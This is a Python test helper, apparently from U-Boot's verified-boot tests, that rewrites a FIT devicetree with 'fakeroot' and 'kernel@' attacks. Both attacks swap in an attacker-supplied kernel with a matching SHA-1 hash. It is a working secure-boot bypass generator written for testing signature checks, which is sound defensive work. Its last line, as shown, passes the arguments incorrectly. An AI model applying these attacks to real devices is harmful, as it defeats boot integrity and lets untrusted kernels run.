vboot_evil.py 15 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485
  1. # SPDX-License-Identifier: GPL-2.0
  2. # Copyright (c) 2020, Intel Corporation
  3. """Modifies a devicetree to add a fake root node, for testing purposes"""
  4. import hashlib
  5. import struct
  6. import sys
  7. FDT_PROP = 0x3
  8. FDT_BEGIN_NODE = 0x1
  9. FDT_END_NODE = 0x2
  10. FDT_END = 0x9
  11. FAKE_ROOT_ATTACK = 0
  12. KERNEL_AT = 1
  13. MAGIC = 0xd00dfeed
  14. EVIL_KERNEL_NAME = b'evil_kernel'
  15. FAKE_ROOT_NAME = b'f@keroot'
  16. def getstr(dt_strings, off):
  17. """Get a string from the devicetree string table
  18. Args:
  19. dt_strings (bytes): Devicetree strings section
  20. off (int): Offset of string to read
  21. Returns:
  22. str: String read from the table
  23. """
  24. output = ''
  25. while dt_strings[off]:
  26. output += chr(dt_strings[off])
  27. off += 1
  28. return output
  29. def align(offset):
  30. """Align an offset to a multiple of 4
  31. Args:
  32. offset (int): Offset to align
  33. Returns:
  34. int: Resulting aligned offset (rounds up to nearest multiple)
  35. """
  36. return (offset + 3) & ~3
  37. def determine_offset(dt_struct, dt_strings, searched_node_name):
  38. """Determines the offset of an element, either a node or a property
  39. Args:
  40. dt_struct (bytes): Devicetree struct section
  41. dt_strings (bytes): Devicetree strings section
  42. searched_node_name (str): element path, ex: /images/kernel@1/data
  43. Returns:
  44. tuple: (node start offset, node end offset)
  45. if element is not found, returns (None, None)
  46. """
  47. offset = 0
  48. depth = -1
  49. path = '/'
  50. object_start_offset = None
  51. object_end_offset = None
  52. object_depth = None
  53. while offset < len(dt_struct):
  54. (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
  55. if tag == FDT_BEGIN_NODE:
  56. depth += 1
  57. begin_node_offset = offset
  58. offset += 4
  59. node_name = getstr(dt_struct, offset)
  60. offset += len(node_name) + 1
  61. offset = align(offset)
  62. if path[-1] != '/':
  63. path += '/'
  64. path += str(node_name)
  65. if path == searched_node_name:
  66. object_start_offset = begin_node_offset
  67. object_depth = depth
  68. elif tag == FDT_PROP:
  69. begin_prop_offset = offset
  70. offset += 4
  71. len_tag, nameoff = struct.unpack('>II',
  72. dt_struct[offset:offset + 8])
  73. offset += 8
  74. prop_name = getstr(dt_strings, nameoff)
  75. len_tag = align(len_tag)
  76. offset += len_tag
  77. node_path = path + '/' + str(prop_name)
  78. if node_path == searched_node_name:
  79. object_start_offset = begin_prop_offset
  80. elif tag == FDT_END_NODE:
  81. offset += 4
  82. path = path[:path.rfind('/')]
  83. if not path:
  84. path = '/'
  85. if depth == object_depth:
  86. object_end_offset = offset
  87. break
  88. depth -= 1
  89. elif tag == FDT_END:
  90. break
  91. else:
  92. print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
  93. break
  94. return object_start_offset, object_end_offset
  95. def modify_node_name(dt_struct, node_offset, replcd_name):
  96. """Change the name of a node
  97. Args:
  98. dt_struct (bytes): Devicetree struct section
  99. node_offset (int): Offset of node
  100. replcd_name (str): New name for node
  101. Returns:
  102. bytes: New dt_struct contents
  103. """
  104. # skip 4 bytes for the FDT_BEGIN_NODE
  105. node_offset += 4
  106. node_name = getstr(dt_struct, node_offset)
  107. node_name_len = len(node_name) + 1
  108. node_name_len = align(node_name_len)
  109. replcd_name += b'\0'
  110. # align on 4 bytes
  111. while len(replcd_name) % 4:
  112. replcd_name += b'\0'
  113. dt_struct = (dt_struct[:node_offset] + replcd_name +
  114. dt_struct[node_offset + node_name_len:])
  115. return dt_struct
  116. def modify_prop_content(dt_struct, prop_offset, content):
  117. """Overwrite the value of a property
  118. Args:
  119. dt_struct (bytes): Devicetree struct section
  120. prop_offset (int): Offset of property (FDT_PROP tag)
  121. content (bytes): New content for the property
  122. Returns:
  123. bytes: New dt_struct contents
  124. """
  125. # skip FDT_PROP
  126. prop_offset += 4
  127. (len_tag, nameoff) = struct.unpack('>II',
  128. dt_struct[prop_offset:prop_offset + 8])
  129. # compute padded original node length
  130. original_node_len = len_tag + 8 # content length + prop meta data len
  131. original_node_len = align(original_node_len)
  132. added_data = struct.pack('>II', len(content), nameoff)
  133. added_data += content
  134. while len(added_data) % 4:
  135. added_data += b'\0'
  136. dt_struct = (dt_struct[:prop_offset] + added_data +
  137. dt_struct[prop_offset + original_node_len:])
  138. return dt_struct
  139. def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
  140. required=True):
  141. """Change a given property value
  142. Args:
  143. dt_struct (bytes): Devicetree struct section
  144. dt_strings (bytes): Devicetree strings section
  145. prop_path (str): full path of the target property
  146. prop_value (bytes): new property name
  147. required (bool): raise an exception if property not found
  148. Returns:
  149. bytes: New dt_struct contents
  150. Raises:
  151. ValueError: if the property is not found
  152. """
  153. (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
  154. if rt_node_start is None:
  155. if not required:
  156. return dt_struct
  157. raise ValueError('Fatal error, unable to find prop %s' % prop_path)
  158. dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
  159. return dt_struct
  160. def change_node_name(dt_struct, dt_strings, node_path, node_name):
  161. """Change a given node name
  162. Args:
  163. dt_struct (bytes): Devicetree struct section
  164. dt_strings (bytes): Devicetree strings section
  165. node_path (str): full path of the target node
  166. node_name (str): new node name, just node name not full path
  167. Returns:
  168. bytes: New dt_struct contents
  169. Raises:
  170. ValueError: if the node is not found
  171. """
  172. (rt_node_start, rt_node_end) = (
  173. determine_offset(dt_struct, dt_strings, node_path))
  174. if rt_node_start is None or rt_node_end is None:
  175. raise ValueError('Fatal error, unable to find root node')
  176. dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
  177. return dt_struct
  178. def get_prop_value(dt_struct, dt_strings, prop_path):
  179. """Get the content of a property based on its path
  180. Args:
  181. dt_struct (bytes): Devicetree struct section
  182. dt_strings (bytes): Devicetree strings section
  183. prop_path (str): full path of the target property
  184. Returns:
  185. bytes: Property value
  186. Raises:
  187. ValueError: if the property is not found
  188. """
  189. (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
  190. if offset is None:
  191. raise ValueError('Fatal error, unable to find prop')
  192. offset += 4
  193. (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
  194. offset += 8
  195. tag_data = dt_struct[offset:offset + len_tag]
  196. return tag_data
  197. def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
  198. """Conduct the kernel@ attack
  199. It fetches from /configurations/default the name of the kernel being loaded.
  200. Then, if the kernel name does not contain any @sign, duplicates the kernel
  201. in /images node and appends '@evil' to its name.
  202. It inserts a new kernel content and updates its images digest.
  203. Inputs:
  204. - FIT dt_struct
  205. - FIT dt_strings
  206. - kernel content blob
  207. - kernel hash blob
  208. Important note: it assumes the U-Boot loading method is 'kernel' and the
  209. loaded kernel hash's subnode name is 'hash-1'
  210. """
  211. # retrieve the default configuration name
  212. default_conf_name = get_prop_value(
  213. dt_struct, dt_strings, '/configurations/default')
  214. default_conf_name = str(default_conf_name[:-1], 'utf-8')
  215. conf_path = '/configurations/' + default_conf_name
  216. # fetch the loaded kernel name from the default configuration
  217. loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
  218. loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
  219. if loaded_kernel.find('@') != -1:
  220. print('kernel@ attack does not work on nodes already containing an @ sign!')
  221. sys.exit()
  222. # determine boundaries of the loaded kernel
  223. (krn_node_start, krn_node_end) = (determine_offset(
  224. dt_struct, dt_strings, '/images/' + loaded_kernel))
  225. if krn_node_start is None and krn_node_end is None:
  226. print('Fatal error, unable to find root node')
  227. sys.exit()
  228. # copy the loaded kernel
  229. loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
  230. # insert the copy inside the tree
  231. dt_struct = dt_struct[:krn_node_start] + \
  232. loaded_kernel_copy + dt_struct[krn_node_start:]
  233. evil_kernel_name = loaded_kernel+'@evil'
  234. # change the inserted kernel name
  235. dt_struct = change_node_name(
  236. dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
  237. # change the content of the kernel being loaded
  238. dt_struct = change_property_value(
  239. dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
  240. # change the content of the kernel being loaded
  241. dt_struct = change_property_value(
  242. dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
  243. return dt_struct
  244. def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
  245. """Conduct the fakenode attack
  246. It duplicates the original root node at the beginning of the tree.
  247. Then it modifies within this duplicated tree:
  248. - The loaded kernel name
  249. - The loaded kernel data
  250. Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
  251. hash's subnode name is hash@1
  252. """
  253. # retrieve the default configuration name
  254. default_conf_name = get_prop_value(
  255. dt_struct, dt_strings, '/configurations/default')
  256. default_conf_name = str(default_conf_name[:-1], 'utf-8')
  257. conf_path = '/configurations/'+default_conf_name
  258. # fetch the loaded kernel name from the default configuration
  259. loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
  260. loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
  261. # determine root node start and end:
  262. (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
  263. if (rt_node_start is None) or (rt_node_end is None):
  264. print('Fatal error, unable to find root node')
  265. sys.exit()
  266. # duplicate the whole tree
  267. duplicated_node = dt_struct[rt_node_start:rt_node_end]
  268. # dchange root name (empty name) to fake root name
  269. new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
  270. dt_struct = new_dup + dt_struct
  271. # change the value of /<fake_root_name>/configs/<default_config_name>/kernel
  272. # so our modified kernel will be loaded
  273. base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
  274. value_path = base + conf_path+'/kernel'
  275. dt_struct = change_property_value(dt_struct, dt_strings, value_path,
  276. EVIL_KERNEL_NAME + b'\0')
  277. # change the node of the /<fake_root_name>/images/<original_kernel_name>
  278. images_path = base + '/images/'
  279. node_path = images_path + loaded_kernel
  280. dt_struct = change_node_name(dt_struct, dt_strings, node_path,
  281. EVIL_KERNEL_NAME)
  282. # change the content of the kernel being loaded
  283. data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
  284. dt_struct = change_property_value(dt_struct, dt_strings, data_path,
  285. kernel_content, required=False)
  286. # update the digest value
  287. hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
  288. dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
  289. kernel_digest)
  290. return dt_struct
  291. def add_evil_node(in_fname, out_fname, kernel_fname, attack):
  292. """Add an evil node to the devicetree
  293. Args:
  294. in_fname (str): Filename of input devicetree
  295. out_fname (str): Filename to write modified devicetree to
  296. kernel_fname (str): Filename of kernel data to add to evil node
  297. attack (str): Attack type ('fakeroot' or 'kernel@')
  298. Raises:
  299. ValueError: Unknown attack name
  300. """
  301. if attack == 'fakeroot':
  302. attack = FAKE_ROOT_ATTACK
  303. elif attack == 'kernel@':
  304. attack = KERNEL_AT
  305. else:
  306. raise ValueError('Unknown attack name!')
  307. with open(in_fname, 'rb') as fin:
  308. input_data = fin.read()
  309. hdr = input_data[0:0x28]
  310. offset = 0
  311. magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
  312. if magic != MAGIC:
  313. raise ValueError('Wrong magic!')
  314. offset += 4
  315. (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
  316. last_comp_version, boot_cpuid_phys, size_dt_strings,
  317. size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
  318. rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
  319. dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
  320. dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
  321. with open(kernel_fname, 'rb') as kernel_file:
  322. kernel_content = kernel_file.read()
  323. # computing inserted kernel hash
  324. val = hashlib.sha1()
  325. val.update(kernel_content)
  326. hash_digest = val.digest()
  327. if attack == FAKE_ROOT_ATTACK:
  328. dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
  329. hash_digest)
  330. elif attack == KERNEL_AT:
  331. dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
  332. hash_digest)
  333. # now rebuild the new file
  334. size_dt_strings = len(dt_strings)
  335. size_dt_struct = len(dt_struct)
  336. totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
  337. off_mem_rsvmap = 0x28
  338. off_dt_struct = off_mem_rsvmap + len(rsv_map)
  339. off_dt_strings = off_dt_struct + len(dt_struct)
  340. header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
  341. off_dt_strings, off_mem_rsvmap, version,
  342. last_comp_version, boot_cpuid_phys, size_dt_strings,
  343. size_dt_struct)
  344. with open(out_fname, 'wb') as output_file:
  345. output_file.write(header)
  346. output_file.write(rsv_map)
  347. output_file.write(dt_struct)
  348. output_file.write(dt_strings)
  349. if __name__ == '__main__':
  350. if len(sys.argv) != 5:
  351. print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
  352. sys.argv[0])
  353. print('valid attack names: [fakeroot, kernel@]')
  354. sys.exit(1)
  355. add_evil_node(sys.argv[1:])